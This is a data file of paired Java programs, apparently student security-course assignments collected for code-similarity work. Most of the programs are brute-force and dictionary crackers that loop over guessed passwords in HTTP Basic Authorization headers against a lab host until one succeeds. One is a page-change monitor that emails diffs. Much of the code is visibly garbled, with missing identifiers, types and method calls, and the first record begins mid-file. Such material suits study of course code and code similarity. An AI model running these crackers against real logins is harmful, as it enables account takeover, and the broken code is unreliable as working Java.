/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\
\ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.receive();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\n\nimport java.util.*;\nimport java.text.*;\nimport java.io.*;\nimport java.*;\n\
import java.net.*;\n\npublic class WatchDog\n{\n public static void main(String\
\ args[])\n {\n String s = null;\n String webpage = \"http://www.cs.rmit.edu./students/\"\
;\n \n \n String file1 = \"file1\";\n String file2 = \"file2\"\
;\n \n try\n {\n Process p = Runtime.getRuntime().exec(\"\
wget -O \" + file1 + \" \" + webpage);\n \n BufferedReader stdInput\
\ = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while ((s\
\ = stdInput.readLine()) != null) { \n System.out.println(s);\n \
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \n \
\ try\n {\n p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n }\n catch (IOException\
\ e) {\n System.out.println(\"exception happened - here's what I know:\
\ \");\n e.printStackTrace();\n System.exit(-1);\n }\n \
\ \n while (true) \n {\n try\n {\n Process\
\ p = Runtime.getRuntime().exec(\"sleep 86400\"); \n \n \
\ BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while\
\ ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ } \n }\n catch (IOException e) \n {\n System.out.println(\"\
exception happened - here's what I know: \");\n e.printStackTrace();\n\
\ System.exit(-1);\n } \n try \n {\n \
\ Process p = Runtime.getRuntime().exec(\"wget -O \" + file2 + \" \" + webpage);\n\
\ \n BufferedReader stdInput = new BufferedReader(new \n\
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader\
\ stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
\n \n while ((s = stdInput.readLine()) != null) { \n \
\ System.out.println(s);\n }\n \n \
\ \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n try\n {\n p.waitFor();\
\ \n }\n catch (InterruptedException g) \n {\n\
\ } \n \n }\n catch (IOException e) \n \
\ {\n System.out.println(\"exception happened - here's what I\
\ know: \");\n e.printStackTrace();\n System.exit(-1);\n\
\ }\n try \n {\n \n Process p =\
\ Runtime.getRuntime().exec(\"diff \" + file1 + \" \" + file2);\n \n\
\ BufferedReader stdInput = new BufferedReader(new \n \
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError\
\ = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\
\ \n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ }\n \n if ((p.exitValue()) == 1) \n { \n \
\ \n String mailServerURL = \"yallara.cs.rmit.edu.\";\n\
\ String host = \"yallara.cs.rmit.edu.\";\n String\
\ from = \"@yallara.cs.rmit.edu.\";\n \n String subject\
\ = \"Change Detected In WatchDog.java\";\n \n try\n \
\ {\n \t\n Socket csoc=new Socket(mailServerURL,25);\n\
\ BufferedReader in=new BufferedReader(\n \
\ new InputStreamReader(csoc.getInputStream()));\n \n\
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n\
\ System.out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ System.out.println(in.readLine());\n System.out.println(\"\
DATA\");\n System.out.println(in.readLine());\n \
\ System.out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ \n \n while ((s = stdInput.readLine())\
\ != null){\n System.out.println(s);\n }\n\
\ out.println(\".\");\n System.out.println(in.readLine());\n\
\ System.out.println(\"QUIT\");\n System.out.println(in.readLine());\
\ \n }\n catch(Exception e)\n \
\ {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n }\n \
\ } \n }\n catch (IOException e) \n {\n \
\ System.out.println(\"exception happened - here's what I know: \");\n\
\ e.printStackTrace();\n System.exit(-1);\n }\n\
\ } \n }\n}"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class Dictionary {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n d = new Date().getTime();\n \
\ FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader\
\ bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \
\ \n int total = 960;\n String[] pws = new String[total];\n\
\ int count = 0;\n while (word!=null){\n if (word.length()<=3)\
\ { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \
\ \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n\
\ String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n\
\ try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+pws[i]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n\
\ System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \
\ \n }\n}\n\n"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
\ String pass = new String();\n String UserPass = new String();\n String status\
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
\ is \" + pass);\n end=System.currentTimeMillis();\n \
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
\ + \" secs\");\n System.exit(0);\n }\n \
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
\ }\n\n System.out.println(\" match found\");\n\n \
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
\npublic class BruteForce {\n public static void main (String[] args) throws IOException\
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
\n int start = new Date().getTime();\n String[] letters = {\"a\",\"\
A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n\
\ \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"\
l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\"\
,\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"\
W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total\
\ = 52;\n String[] cad = new String[total];\n int t=0;\n \n \
\ for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n\
\ for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t \
\ cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\npublic class BruteForce\
\ {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n\
\ \n public BruteForce(String strURL,String strUserName) {\n this.strURL\
\ = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n\
\ }\n \n public String getPassword(){\n URL u;\n String result =\"\
\";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n \
\ String strPassword = new String();\n String strEncode;\n try{\n\
\ while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n \
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n \
\ uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\
\ strPassword = strEncode;\n strEncode = strUserName + \":\"\
\ + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce\
\ BF = new BruteForce(arg[0],arg[1]);\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n \n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \"\
\ (msec)\");\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n\
\ }\n else {\n System.out.println(\"[Usage] java BruteForce <URL>\
\ <USERNAME>\");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[]\
\ password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n\
\ for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n\
\ }\n \n public String getNewPassword()\n throws PasswordFailureException{\n\
\ password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n\
\ if (password[i] == 90) {\n password[i] = 97;\n }\n \
\ if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n\
\ }\n }\n }\n catch (RuntimeException re){\n throw new\
\ PasswordFailureException ();\n }\n return new String(password);\n }\n\
}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException()\
\ {\n }\n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\
import java.util.*;\n\n\n\npublic class Dictionary\n\n{\n\n\n static URL url\
\ = null;\n static URLConnection urlConnection;\n static InputStream urlStream;\n\
\n static String strOneLetterWords[];\n static String strTwoLetterWords[];\n\
\ static String strThreeLetterWords[];\n\n static String strExceptionPassword[];\n\
\n static String strLastPasswordTested;\n static String username = \"\";\n\
\n static int intNumberOfOneLetterWords = 0;\n static int intNumberOfTwoLetterWords\
\ = 0;\n static int intNumberOfThreeLetterWords = 0;\n\n static int intExceptionCount\
\ = -1;\n\n static int intNumberOfConnectionAttempts = 0;\n static int intTotalNumberOfWordsInFile\
\ = 0;\n\n\n\n\n public static void main (String args[])\n \n {\n\n\n \
\ \n \n Calendar calStart;\n Calendar calFinish; \n\
\ Date dateStart;\n Date dateFinish;\n lngStart;\n lngFinish;\n\
\n\n\n String strLine;\n String strTextFileName = \"/usr/share/lib/dict/words\"\
;\n\n boolean boolPasswordFound = false;\n boolean boolExceptionPasswordsTestedAgain\
\ = false;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n int intCounter1;\n int intCounter2;\n int intCounter3;\n\n\
\ int intTotalNumberOfWordsChecked = 0;\n\n\n\n \n \n \
\ calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\
\ lngStart = dateStart.getTime(); \n\n\n\n \n \n\
\ \n \n \n strExceptionPassword = new String[5000];\n\
\n\n \n \n getNumberOfVariousLengthsOfWords(strTextFileName);\n\
\n\n \n \n strOneLetterWords = new String[intNumberOfOneLetterWords];\n\
\ strTwoLetterWords = new String[intNumberOfTwoLetterWords];\n strThreeLetterWords\
\ = new String[intNumberOfThreeLetterWords];\n\n\n \n \n \
\ populateTheDifferentLengthArrays(strTextFileName);\n\n\n\n\n if (!boolPasswordFound)\
\ \n {\n\n\n \n \n\n intCounter1 = 0;\n\n \
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strThreeLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n \
\ intTotalNumberOfWordsChecked++;\n\n }\n\n\n\n \n \
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )\n \
\ {\n\n intCounter2 = 0; \n\n while ( (!boolPasswordFound)\
\ && (intCounter2 < intNumberOfOneLetterWords) )\n {\n\n \
\ intCounter3 = 0; \n\n while ( (!boolPasswordFound) && (intCounter3\
\ < intNumberOfOneLetterWords) )\n {\n\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strOneLetterWords[intCounter1] \
\ + \n strOneLetterWords[intCounter2]\
\ +\n strOneLetterWords[intCounter3],\n\
\ boolPasswordFound); \n\n \
\ intCounter3++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n intCounter2++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strTwoLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfTwoLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )\n {\n\
\n boolExceptionPasswordsTestedAgain = true;\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strExceptionPassword[intCounter1],\n \
\ boolPasswordFound); \n\n intCounter1++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n } \n\n\n\
\n \n \n calFinish = new GregorianCalendar();\n dateFinish\
\ = calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\
\ \n \n System.out.println();\n System.out.println();\n\
\n\n System.out.println();\n System.out.println(\"Length of time for\
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\
\ + \n \" seconds\");\n\n\n System.out.println();\n\
\ System.out.println(\"Total number of words in dictionary file = \" + intTotalNumberOfWordsInFile);\n\
\n\n System.out.println();\n System.out.println(\"Input file: number\
\ of words with one letter length = \" + intNumberOfOneLetterWords);\n \
\ System.out.println(\"Input file: number of words with two letter length =\
\ \" + intNumberOfTwoLetterWords);\n System.out.println(\"Input file: number\
\ of words with three letter length = \" + intNumberOfThreeLetterWords);\n\n\n\
\ System.out.println();\n System.out.println(\"Number of connection\
\ attempts = \" + intTotalNumberOfWordsChecked);\n\n\n System.out.println();\n\
\ System.out.println(\"Number of exceptions thrown = \" + (intExceptionCount\
\ + 1));\n System.out.println();\n\n\n if (intExceptionCount >= 0)\n\
\ {\n System.out.print(\"These passwords WERE \");\n\n if\
\ (boolExceptionPasswordsTestedAgain)\n System.out.print(\"tested again.\"\
);\n else\n System.out.print(\"NOT tested again.\");\n\n \
\ System.out.println();\n }\n\n\n if (boolPasswordFound) \n \
\ {\n System.out.println(\"The correct password WAS found - this password\
\ is '\" + \n strLastPasswordTested + \"'.\");\n \
\ } \n else\n {\n System.out.println(\"The correct password\
\ WAS NOT found.\");\n } \n \n System.out.println();\n\n\
\ }\n\n\n\n\n\n\n\n static void getNumberOfVariousLengthsOfWords(String TextFileName)\n\
\ \n {\n\n FileReader reader;\n BufferedReader inTextFile = null;\n\
\n String strLine;\n int intWordLength;\n\n\n\n try\n { \
\ \n \n \n \n \n \n reader\
\ = new FileReader(TextFileName);\n\n \n \n \n\
\ \n inTextFile = new BufferedReader(reader);\n\n\n \
\ strLine = inTextFile.readLine();\n\n\n while (strLine != null)\n \
\ {\n\n intTotalNumberOfWordsInFile++;\n\n strLine\
\ = strLine.trim();\n\n intWordLength = strLine.length();\n\n\n \
\ \n \n if (intWordLength == 1)\n \
\ intNumberOfOneLetterWords++;\n\n \n \n \
\ else if (intWordLength == 2) \n intNumberOfTwoLetterWords++;\n\
\n \n \n else if (intWordLength == 3)\n\
\ intNumberOfThreeLetterWords++;\n\n\n strLine = inTextFile.readLine();\n\
\n }\n\n }\n\n catch(FileNotFoundException e)\n {\n\n \
\ \n \n System.out.println();\n System.out.println(\"\
The file '\" + TextFileName + \"' cannot found.\");\n System.out.println();\n\
\n }\n\n catch(Exception e)\n {\n\n }\n\n finally\n \
\ {\n\n try\n {\n inTextFile.print();\n \
